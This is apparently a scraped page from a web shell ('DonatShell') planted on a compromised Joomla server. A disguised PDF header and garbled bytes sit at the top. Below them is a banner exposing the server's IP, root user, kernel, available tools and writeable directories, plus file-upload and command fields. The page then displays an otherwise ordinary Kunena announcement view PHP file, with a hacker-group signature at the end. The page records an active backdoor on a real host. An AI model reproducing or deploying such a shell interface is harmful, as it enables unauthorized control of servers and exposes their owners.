%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/components/com_kunena/views/announcement/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/components/com_kunena/views/announcement/view.html.php
<?php
/**
 * Kunena Component
 * @package Kunena.Site
 * @subpackage Views
 *
 * @copyright (C) 2008 - 2014 Kunena Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link http://www.kunena.org
 **/
defined ( '_JEXEC' ) or die ();

jimport ( 'joomla.cache.handler.output' );

/**
 * Announcement view
 */
class KunenaViewAnnouncement extends KunenaView {
	function displayDefault($tpl = null) {
		$this->announcement = $this->get ( 'Announcement' );

		if (!$this->announcement->authorise('read')) {
			$this->setError($this->announcement->getError());
		}

		$this->showdate = $this->announcement->showdate;

		$this->_prepareDocument();

		$errors = $this->getErrors();
		if ($errors) {
			$this->displayNoAccess($errors);
			return;
		}

		$this->display();
	}

	function displayCreate($tpl = null) {
		$this->announcement = $this->get ( 'NewAnnouncement' );

		if (!$this->announcement->authorise('create')) {
			$this->setError($this->announcement->getError());
		}

		$this->returnUrl = KunenaForumAnnouncementHelper::getUri('list');

		$this->_prepareDocument();

		$errors = $this->getErrors();
		if ($errors) {
			$this->displayNoAccess($errors);
			return;
		}

		$this->display();
	}

	function displayEdit($tpl = null) {
		$this->announcement = $this->get ( 'Announcement' );

		if (!$this->announcement->authorise('edit')) {
			$this->setError($this->announcement->getError());
		}

		$this->returnUrl = KunenaForumAnnouncementHelper::getUri('list');

		$this->_prepareDocument();

		$errors = $this->getErrors();
		if ($errors) {
			$this->displayNoAccess($errors);
			return;
		}

		$this->display();
	}

	function displayList($tpl = null) {
		$this->announcements = $this->get ( 'Announcements' );
		$new = new KunenaForumAnnouncement;

		$this->actions = array();
		if ($new->authorise('create')) $this->actions['add'] = $new->getUri('create');
		if ($this->actions) $this->actions['cpanel'] = KunenaForumAnnouncementHelper::getUri('list');

		$this->announcementActions = $this->get ( 'announcementActions' );

		$this->_prepareDocument();

		$this->total = $this->get('Total');

		$errors = $this->getErrors();
		if ($errors) {
			$this->displayNoAccess($errors);
			return;
		}

		$this->display();
	}

	function displayItems() {
		$this->row = 0;
		$this->k = 0;
		foreach ($this->announcements as $this->announcement) {
			$this->displayItem();
		}
	}

	function displayItem() {
		$this->k= 1 - $this->k;
		echo $this->loadTemplateFile ( 'item' );
		$this->row++;
	}

	function displayActions() {
		$this->buttons = array();
		if ($this->announcement->authorise('edit'))
			$this->buttons['edit'] = $this->getButton($this->announcement->getUri('edit'), 'edit', 'announcement', 'moderation');
		if ($this->announcement->authorise('delete'))
			$this->buttons['delete'] = $this->getButton($this->announcement->getTaskUri('delete'), 'delete', 'announcement', 'permanent');
		if ($this->buttons)
			$this->buttons['cpanel'] = $this->getButton(KunenaForumAnnouncementHelper::getUri('list'), 'list', 'announcement', 'communication');

		$contents = $this->loadTemplateFile('actions');
		return $contents;
	}

	function displayField($name, $mode=null) {
		return $this->announcement->displayField($name, $mode);
	}

	function displayInput($name, $attributes='', $id=null) {
		switch ($name) {
			case 'id':
				return '<input type="hidden" name="id" value="'.intval($this->announcement->id).'" />';
			case 'title':
				return '<input type="text" name="title" '.$attributes.' value="'.$this->escape($this->announcement->title).'"/>';
			case 'sdescription':
				return '<textarea name="sdescription" '.$attributes.'>'.$this->escape($this->announcement->sdescription).'</textarea>';
			case 'description':
				return '<textarea name="description" '.$attributes.'>'.$this->escape($this->announcement->description).'</textarea>';
			case 'created':
				return JHtml::_('calendar', $this->escape($this->announcement->created), 'created', $id);
			case 'showdate':
				$options	= array();
				$options[]	= JHtml::_('select.option',  '0', JText::_('COM_KUNENA_NO') );
				$options[]	= JHtml::_('select.option',  '1', JText::_('COM_KUNENA_YES') );
				return JHtml::_('select.genericlist',  $options, 'showdate', $attributes, 'value', 'text', $this->announcement->showdate, $id );
			case 'published':
				$options	= array();
				$options[]	= JHtml::_('select.option',  '0', JText::_('COM_KUNENA_NO') );
				$options[]	= JHtml::_('select.option',  '1', JText::_('COM_KUNENA_YES') );
				return JHtml::_('select.genericlist',  $options, 'published', $attributes, 'value', 'text', $this->announcement->published, $id );
		}
	}

	function canPublish() {
		return $this->announcement->authorise('edit');
	}
	function canEdit() {
		return $this->announcement->authorise('edit');
	}
	function canDelete() {
		return $this->announcement->authorise('delete');
	}

	function getPagination($maxpages) {
		$pagination = new KunenaPagination($this->total, $this->state->get('list.start'), $this->state->get('list.limit'));
		$pagination->setDisplayedPages($maxpages);

		return $pagination->getPagesLinks();
	}

	protected function _prepareDocument(){
		$this->setTitle(JText::_('COM_KUNENA_ANN_ANNOUNCEMENTS'));

		// TODO: set keywords and description
	}
}

Anon7 - 2022
AnonSec Team